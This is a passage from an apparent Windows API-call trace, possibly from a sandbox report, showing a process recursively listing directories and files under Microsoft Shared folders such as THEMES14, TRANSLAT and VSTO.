ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0042.561] FindClose (in: hFindFile=0x3f022c8 | out: hFindFile=0x3f022c8) returned 1 [0042.561] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f74b60 | out: hHeap=0x5a0000) returned 1 [0042.561] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPRING", cAlternateFileName="")) returned 1 [0042.561] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\*", lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f022c8 [0042.562] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.562] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9df, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0042.563] FindClose (in: hFindFile=0x3f022c8 | out: hFindFile=0x3f022c8) returned 1 [0042.563] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f74b60 | out: hHeap=0x5a0000) returned 1 [0042.563] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STRTEDGE", cAlternateFileName="")) returned 1 [0042.563] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\*", lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f022c8 [0042.564] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.564] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0042.564] FindClose (in: hFindFile=0x3f022c8 | out: hFindFile=0x3f022c8) returned 1 [0042.564] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f74b60 | out: hHeap=0x5a0000) returned 1 [0042.564] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUDIO", cAlternateFileName="")) returned 1 [0042.565] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\*", lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f022c8 [0042.565] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.565] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x68b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0042.565] FindClose (in: hFindFile=0x3f022c8 | out: hFindFile=0x3f022c8) returned 1 [0042.565] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f74b60 | out: hHeap=0x5a0000) returned 1 [0042.565] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMIPNTG", cAlternateFileName="")) returned 1 [0042.566] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\*", lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f022c8 [0042.567] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.567] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x137f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0042.567] FindClose (in: hFindFile=0x3f022c8 | out: hFindFile=0x3f022c8) returned 1 [0042.567] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f74b60 | out: hHeap=0x5a0000) returned 1 [0042.567] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc24e4f00, ftCreationTime.dwHighDateTime=0x1c06b0e, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc24e4f00, ftLastWriteTime.dwHighDateTime=0x1c06b0e, nFileSizeHigh=0x0, nFileSizeLow=0x1c6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THEMES.INF", cAlternateFileName="")) returned 1 [0042.567] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\*", lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f022c8 [0042.568] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.568] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0042.569] FindClose (in: hFindFile=0x3f022c8 | out: hFindFile=0x3f022c8) returned 1 [0042.569] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f74b60 | out: hHeap=0x5a0000) returned 1 [0042.569] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR", cAlternateFileName="")) returned 1 [0042.569] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\*", lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f022c8 [0042.569] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.569] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x623, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0042.570] FindClose (in: hFindFile=0x3f022c8 | out: hFindFile=0x3f022c8) returned 1 [0042.570] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f74b60 | out: hHeap=0x5a0000) returned 1 [0042.570] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR", cAlternateFileName="")) returned 0 [0042.570] FindClose (in: hFindFile=0x3f02188 | out: hFindFile=0x3f02188) returned 1 [0042.570] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f03298 | out: hHeap=0x5a0000) returned 1 [0042.574] FindNextFileW (in: hFindFile=0x3f02148, lpFindFileData=0x394f58c | out: lpFindFileData=0x394f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSLAT", cAlternateFileName="")) returned 1 [0042.574] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*", lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f022c8 [0043.913] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.913] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARFR", cAlternateFileName="")) returned 1 [0043.914] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\*", lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02308 [0043.914] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.914] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b324b00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b324b00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x195018, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ARFR.ITS", cAlternateFileName="")) returned 1 [0043.914] FindClose (in: hFindFile=0x3f02308 | out: hFindFile=0x3f02308) returned 1 [0043.914] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f234d0 | out: hHeap=0x5a0000) returned 1 [0043.914] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENES", cAlternateFileName="")) returned 1 [0043.914] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\*", lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02308 [0043.915] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.915] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xeed1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENES.ITS", cAlternateFileName="")) returned 1 [0043.915] FindClose (in: hFindFile=0x3f02308 | out: hFindFile=0x3f02308) returned 1 [0043.923] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f234d0 | out: hHeap=0x5a0000) returned 1 [0043.932] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENFR", cAlternateFileName="")) returned 1 [0044.222] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\*", lpFindFileData=0x394ee18 | out: lpFindFileData=0x394ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02348 [0044.222] FindNextFileW (in: hFindFile=0x3f02348, lpFindFileData=0x394ee18 | out: lpFindFileData=0x394ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.222] FindNextFileW (in: hFindFile=0x3f02348, lpFindFileData=0x394ee18 | out: lpFindFileData=0x394ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd5024ea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2760, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstallerUI.dll", cAlternateFileName="VSTOIN~1.DLL")) returned 1 [0044.223] FindClose (in: hFindFile=0x3f02348 | out: hFindFile=0x3f02348) returned 1 [0044.223] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f334d8 | out: hHeap=0x5a0000) returned 1 [0044.223] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc251dc00, ftCreationTime.dwHighDateTime=0x1cab7c7, ftLastAccessTime.dwLowDateTime=0x5e4b68d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc251dc00, ftLastWriteTime.dwHighDateTime=0x1cab7c7, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstaller.config", cAlternateFileName="VSTOIN~1.CON")) returned 1 [0044.223] FindClose (in: hFindFile=0x3f02188 | out: hFindFile=0x3f02188) returned 1 [0044.223] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36e0750 | out: hHeap=0x5a0000) returned 1 [0044.223] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, 